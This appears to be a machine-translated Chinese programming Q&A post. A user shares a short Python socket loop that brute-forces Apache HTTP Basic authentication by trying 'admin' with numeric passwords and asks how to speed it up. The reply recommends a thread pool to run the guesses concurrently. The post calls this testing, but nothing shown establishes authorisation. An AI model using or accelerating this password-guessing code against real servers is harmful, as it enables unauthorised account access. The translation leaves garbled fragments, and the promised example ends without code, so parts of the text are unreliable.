我希望对Apache授权使用快速暴力测试,而不使用urllib或socket-lib编码。但是,connect()是一个非常慢的任务(400/m)。你知道吗
重复使用connect()函数时如何提高效率 (没有多进程方法;仅在代码级别)?你知道吗
for num in xrange(1,10000):
s = socket(AF_INET, SOCK_STREAM)
s.connect((ip,port))
s.send("HEAD /test.php\nAuthorization: Basic "+b64encode("admin:"+str(num))+"\n\n")
if '200 OK' in(s.recv(32)) :
print 'got password !',str(num)
s.close()
可以使用线程池。看看这个多处理池线程池包裹。您可以创建一个大小为N的池,然后在for循环中使用imap\u unordered()来连接、发送和接收每个线程。你知道吗
你也可以使用多处理.pool.pool对于一个进程池(相对于线程),但听起来这将是I/O绑定的,所以线程池会更好,IMHO。你知道吗
例如:
相关问题 更多 >
编程相关推荐